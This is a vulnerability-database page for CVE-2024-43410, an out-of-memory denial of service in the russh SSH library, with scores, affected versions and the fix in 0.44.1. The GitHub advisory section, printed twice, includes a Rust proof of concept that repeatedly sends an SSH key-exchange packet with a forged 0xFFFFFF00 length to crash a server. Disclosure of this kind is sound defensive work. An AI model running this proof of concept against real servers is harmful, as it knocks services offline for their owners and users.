Every CVE Search/ Get API key

CVE-2024-43410

Russh has an OOM Denial of Service due to allocation of untrusted amount

7.5 HighFix available

Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.91%Up 0.9 points since Aug 22, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.5

Russh has an OOM Denial of Service due to allocation of untrusted amount

Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.

Record
CVE-2024-43410
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
EUVDEUVD-2024-2664 7.5

Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.

Record
EUVD-2024-2664
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-vgvv-x7xg-6cqg 8.7

Russh has an OOM Denial of Service due to allocation of untrusted amount

Summary

Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.

Details

An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.

https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254

But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.

RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1

However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

PoC

Running the echoserver example on port 2222 (cd russh && cargo run --release --example echoserver), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.

<details> <summary>Rust code to run against the echo server</summary>

Cargo.toml

[package]
name = "poc"
version = "0.1.0"
edition = "2021"

[dependencies]
hex-literal = "=0.4.1"

main.rs

use std::time::Duration;
use std::{error::Error, net::SocketAddr};

use std::{
    io::{Read, Write},
    net::TcpStream,
};

fn main() -> Result<(), Box<dyn Error>> {
    loop {
        attempt()?;
        eprintln!("still running, trying again in a few seconds");
        std::thread::sleep(Duration::from_secs(2));
    }
}

fn attempt() -> Result<(), Box<dyn Error>> {
    for i in 0..5 {
        eprintln!("iteration {i}");
        let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?;
        s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?;
        s.read(&mut [0; 1000])?;
        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.
        s.write_all(&hex_literal::hex!(
            "
        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353
        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c
        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6
        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69
        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686
        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669
        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2
        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d
        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314
        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630
        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7
        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274
        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303
        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572
        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314
        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73
        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6
        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c
        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613
        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d
       …
Record
GHSA-vgvv-x7xg-6cqg
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
NVD 7.5

Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.

Record
CVE-2024-43410
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
OSV 7.5

Russh has an OOM Denial of Service due to allocation of untrusted amount

Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.

Record
CVE-2024-43410
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02
OSVGHSA-vgvv-x7xg-6cqg 8.7

Russh has an OOM Denial of Service due to allocation of untrusted amount

Summary

Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.

Details

An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.

https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254

But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.

RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1

However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

PoC

Running the echoserver example on port 2222 (cd russh && cargo run --release --example echoserver), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.

<details> <summary>Rust code to run against the echo server</summary>

Cargo.toml

[package]
name = "poc"
version = "0.1.0"
edition = "2021"

[dependencies]
hex-literal = "=0.4.1"

main.rs

use std::time::Duration;
use std::{error::Error, net::SocketAddr};

use std::{
    io::{Read, Write},
    net::TcpStream,
};

fn main() -> Result<(), Box<dyn Error>> {
    loop {
        attempt()?;
        eprintln!("still running, trying again in a few seconds");
        std::thread::sleep(Duration::from_secs(2));
    }
}

fn attempt() -> Result<(), Box<dyn Error>> {
    for i in 0..5 {
        eprintln!("iteration {i}");
        let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?;
        s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?;
        s.read(&mut [0; 1000])?;
        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.
        s.write_all(&hex_literal::hex!(
            "
        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353
        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c
        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6
        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69
        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686
        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669
        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2
        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d
        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314
        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630
        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7
        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274
        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303
        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572
        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314
        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73
        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6
        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c
        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613
        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d
       …
Record
GHSA-vgvv-x7xg-6cqg
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
russh
crates.io
through 0.44.0
0.44.1
russh
crates.io
before 0.44.1
0.44.1

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-43410 is a high vulnerability (CVSS 7.5) in Eugeny Russh, published August 14, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.91%, the 60th percentile. Fixed in russh 0.44.1.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open